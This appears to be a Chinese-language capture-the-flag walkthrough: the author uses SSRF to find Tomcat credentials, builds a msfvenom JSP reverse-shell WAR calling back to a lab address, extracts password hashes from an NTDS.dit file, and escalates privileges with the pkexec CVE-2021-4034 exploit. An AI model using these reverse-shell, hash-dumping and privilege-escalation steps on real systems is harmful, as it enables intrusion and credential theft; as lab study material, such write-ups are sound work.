
nmap扫描


访问8080

404,看看后台页面

猜不出密码
在看看60000

这里貌似有突破点了

他会以get请求去访问输入的地址

扫一下目录


一个phpinfo界面
在输入框中输入他127.0.0.1,让他请求本地


循环爆破一下后面的端口号

写得跟坨屎一样,但能用就行


888端口输出的比其他都多,看看

有个backup

用burp访问下

很明显,得到了tomcat的账号密码

接下来就简单了,上传个war包拿shell即可
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.12 LPORT=7777 -f war -o shell.war

提权

在家目录下发现一个dit文件

这玩意貌似存有密码,下载下来
https://github.com/libyal/libesedb/releases
apt-get install autoconf automake autopoint libtool pkg-config
./configure
make
make install
ldconfig
/usr/local/bin/esedbexport -m tables 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
然后就会在当前目录下创建一个新目录,里面就是表

提取表内信息
git clone https://github.com/csababarta/ntdsxtract.git
python setup.py build && python setup.py install
dsusers.py ../datatable.3 ../link_table.5 hashdump --syshive /root/20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin --passwordhashes --lmoutfile lmout.txt --ntoutfile ntout.txt --pwdformat ophc
本来讲道理,这样就可以了,但我这里就是报错,死活报错

这貌似是少了个python库,但不知道咋安装
然后百度又搜到这个
https://github.com/fortra/impacket/blob/master/examples/secretsdump.py

但这个要python3.9环境运行,python3.9安装方法
https://www.codenong.com/cs109775278/

太难了,放弃了,直接上别的了
pkexec
https://github.com/arthepsy/CVE-2021-4034

老天啊,早用早舒服啊

还不在这
find / -name root.txt

这貌似是在lxc的一个容器里面,相当于一个虚拟机了
